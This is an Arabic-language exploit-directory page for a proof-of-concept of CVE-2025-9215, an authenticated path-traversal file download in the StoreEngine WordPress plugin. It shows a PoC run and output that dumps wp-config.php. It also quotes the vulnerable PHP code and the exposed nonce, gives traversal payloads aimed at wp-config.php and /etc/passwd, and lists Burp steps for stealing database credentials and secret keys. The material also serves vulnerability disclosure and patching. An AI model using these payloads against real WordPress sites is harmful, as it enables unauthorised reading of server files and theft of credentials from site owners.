Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-9215 — StoreEngine – إضافة ووردبريس قوية للتجارة الإلكترونية للمدفوعات والعضويات والتسويق بالعمولة والمبيعات والمزيد <= 1.4.0 - تنزيل ملفات عشوائي مصرح به (للمشتركين فما فوق) | Kitploit
أدوات/GitHubGitHub/d0n601/cve-2025-9215
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتأمن الويباختبار الاختراق
GitHubd0n601/cve-2025-9215

CVE-2025-9215

StoreEngine – إضافة ووردبريس قوية للتجارة الإلكترونية للمدفوعات والعضويات والتسويق بالعمولة والمبيعات والمزيد <= 1.4.0 - تنزيل ملفات عشوائي مصرح به (للمشتركين فما فوق)

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إضافة StoreEngine القوية لتجارة إلكترونية ووردبريس للمدفوعات والعضويات والعمولات والمبيعات والمزيد <= 1.4.0 - تنزيل ملفات تعسفي للمستخدمين الموثقين (مشترك+)

تحتوي إضافة StoreEngine على ثغرة في ميزة استيراد/تصدير CSV تسمح لأي مستخدم موثق (مشترك، كاتب، محرر، إلخ) بتنزيل ملفات تعسفية من الخادم، بما في ذلك ملفات النظام الحساسة وملفات تهيئة ووردبريس وكود الإضافة. تنشأ الثغرة من عدم وجود تنقية مناسبة للمسار في نقطة النهاية storeengine_csv/file_download والاعتماد فقط على التحقق من nonce للأمان، بينما يتم كشف storeengine_nonce لجميع مستخدمي الواجهة الأمامية عبر JavaScript الخاصة بالإضافة. ملاحظة: تتطلب هذه الثغرة تفعيل إضافة استيراد/تصدير CSV من قبل مسؤول. بمجرد التفعيل، يسمح هذا المزيج لأي مستخدم موثق باستخراج nonce من صفحات الواجهة الأمامية واستخدامه لتنزيل أي ملف على الخادم عبر هجمات اجتياز المسار، مما يمنح مستخدمي المشترك+ صلاحية الوصول إلى ملفات النظام والتطبيق الحساسة.

استغلالات مختصرة

  • تم توفير POC CVE-2025-9215.py لتوضيح قيام مستخدم مشترك بتنزيل ملف تهيئة ووردبريس عبر اجتياز المسار.
root@kitploit:~
 python3 ./CVE-2025-9215.py http://localhost:1337 user1 password   
تسجيل الدخول إلى: http://localhost:1337/wp-admin
ملاحظة: يعمل هذا الاستغلال مع أي مستخدم موثق (مشترك، كاتب، محرر، إلخ)
جارٍ استخراج nonce من نصوص الواجهة الأمامية (يمكن لأي مستخدم الوصول إليها)...
storeengine_nonce: 82cb37f678
ملاحظة: يتم كشف هذا nonce لجميع مستخدمي الواجهة الأمامية، مما يجعل الثغرة قابلة للاستغلال من قبل أي مستخدم موثق!
ملاحظة: يجب تفعيل إضافة استيراد/تصدير CSV من قبل مسؤول قبل الاستغلال.
يوضح هذا الاستغلال الثغرة بمجرد تفعيل الإضافة بالفعل.
يتطلب تفعيل الإضافة صلاحية `manage_options` (مسؤول فقط).

جارٍ تنزيل wp-config.php عبر اجتياز المسار...
<?php
/**
 * التهيئة الأساسية لووردبريس
 *
 * يستخدم نص إنشاء wp-config.php هذا الملف أثناء التثبيت.
 * لا تحتاج إلى استخدام الموقع، يمكنك نسخ هذا الملف إلى "wp-config.php"
 * وملء القيم.
 *
 * يحتوي هذا الملف على التهيئات التالية:
 *
 * * إعدادات قاعدة البيانات
 * * المفاتيح السرية
...
...
...

التفاصيل

وظيفة تنزيل الملفات المعرضة للخطر

ملاحظة: تتطلب هذه الثغرة تفعيل إضافة استيراد/تصدير CSV من قبل مسؤول. يتطلب نقطة نهاية تفعيل الإضافة (storeengine/saved_addon_status) صلاحية manage_options، مما يعني أن المسؤولين فقط يمكنهم تفعيل هذه الوظيفة.

يستدعي إجراء AJAX storeengine_csv/file_download الوظيفة file_download() في السطر 47 من /wp-content/plugins/storeengine/addons/csv/ajax/export.php، والتي تفتقر إلى تنقية مناسبة للمسار وتسمح بتنزيل ملفات تعسفية:

root@kitploit:~
public function file_download( array $payload ) {
    if ( ! isset( $payload['filename'] ) ) {
        wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
    }

    $filename = $payload['filename'];
    $filepath = Helper::get_upload_dir() . '/csv/' . $filename;  // <-- VULNERABLE TO PATH TRAVERSAL!
    
    // NO CAPABILITY CHECK - ANY USER CAN DOWNLOAD ANY FILE!
    // NO PATH SANITIZATION - DIRECT CONCATENATION ALLOWS ../ ATTACKS!
    
    if ( ! file_exists( $filepath ) ) {
        wp_send_json_error( __( 'File not found.', 'storeengine' ) );
    }

    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
    readfile( $filepath );  // <-- READS AND OUTPUTS ANY FILE!
    exit;
}

ثغرة بناء المسار

يسمح بناء المسار المعرض للخطر باجتياز كامل للمسار:

root@kitploit:~
// Helper::get_upload_dir() تُرجع:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';

// لذا يصبح المسار الكامل:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;

// مع اجتياز المسار، يصبح هذا:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'

ثغرة كشف nonce

يتم كشف storeengine_nonce لجميع مستخدمي الواجهة الأمامية عبر JavaScript الخاصة بالإضافة. يحدث هذا في طريقة _get_script_data() في السطر 279 من /wp-content/plugins/storeengine/includes/assets.php:

root@kitploit:~
public function _get_script_data(): array {
    // ... بيانات أخرى ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // السطر 279 - مكشوف لجميع المستخدمين
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... بيانات أخرى ...
    ];
}

ثم يتم توطين هذا nonce في JavaScript الواجهة الأمامية عبر طريقة frontend_scripts() في السطر 120:

root@kitploit:~
wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // تستدعي _get_script_data()
);

التحقق من nonce

يتم التحقق من nonce في طريقة AbstractRequestHandler::check_permission() في السطر 510 من /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:

root@kitploit:~
protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}

يسمح هذا المزيج لأي مستخدم موثق بتجاوز حماية CSRF وتنزيل أي ملف على الخادم، بما في ذلك ملفات التهيئة الحساسة وكود المصدر وملفات النظام المحتملة.

إعادة الإنتاج يدويًا

  1. سجل الدخول إلى لوحة المسؤول وانتقل إلى إضافة StoreEngine.
  2. اذهب إلى قسم تصدير CSV (إذا كان متاحًا في واجهة المسؤول).
  3. ابدأ تشغيل Burp Suite أو أداة مماثلة وابدأ اعتراض حركة المرور.
  4. اعترض طلبًا إلى /wp-admin/admin-ajax.php يستدعي إجراء storeengine_csv/file_download.
  5. عدّل الطلب ليشمل nonce المستخرج وحمولة اجتياز المسار.
  6. أرسل الطلب باستخدام filename=../../../../wp-config.php لتنزيل ملف تهيئة ووردبريس.
  7. الوصول إلى ملفات التهيئة الحساسة بما في ذلك بيانات اعتماد قاعدة البيانات ومفاتيح API والملح الأمنية.
تنزيل الأداة